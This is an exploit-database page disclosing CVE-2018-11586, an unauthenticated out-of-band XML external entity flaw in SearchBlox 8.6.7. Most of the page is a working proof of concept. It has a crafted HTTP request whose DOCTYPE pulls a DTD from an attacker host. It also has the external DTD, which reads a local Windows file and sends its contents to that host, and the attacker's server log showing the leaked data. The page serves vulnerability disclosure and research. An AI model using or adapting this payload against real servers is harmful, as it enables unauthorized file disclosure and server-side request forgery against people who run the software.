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SearchBlox 8.6.7 XML External Entity Injection

SearchBlox 8.6.7 XML External Entity Injection
Posted Jun 4, 2018
Authored by Canberk BOLAT, Ahmet Gurel

SearchBlox version 8.6.7 suffers from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2018-11586
MD5 | 641a7367fef2088ac2f146452d1fb7f6

SearchBlox 8.6.7 XML External Entity Injection

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# Exploit Title: SearchBlox 8.6.7 Out-Of-Band XML eXternal Entity (OOB-XXE)
# Exploit Author: Ahmet GUREL, Canberk BOLAT
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.7
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11586

# 1. DETAILS

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

# 2. PoC:

XML external entity (XXE) vulnerability in /searchblox/api/rest/status in
SearchBlox 8.6.7 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted
DTD in an XML request.

HTTP Request:
_____________

GET /searchblox/api/rest/status HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=n9uolja8nwkj15nsv66xjlzci;
XSRF-TOKEN=6098a021-0e3c-409f-9da0-b895eff3025d; AdsOnPage=5;
AdsOnSearchPage=5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 140

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://192.168.1.2:7000/ext.dtd">
%dtd;
%all;
%send;]>

#Ext.dtd File :
_______________

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.1.2:7000/?%file;
'>">
%all;

#HTTP Response:
_______________

Ahmets-MacBook-Pro:Desktop ahmet$ python -m SimpleHTTPServer 7000
Serving HTTP on 0.0.0.0 port 7000 ...
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET /ext.dtd HTTP/1.1" 200 -
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET
/?;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files]%20[Mail]%20MAPI=1
HTTP/1.1" 200 -


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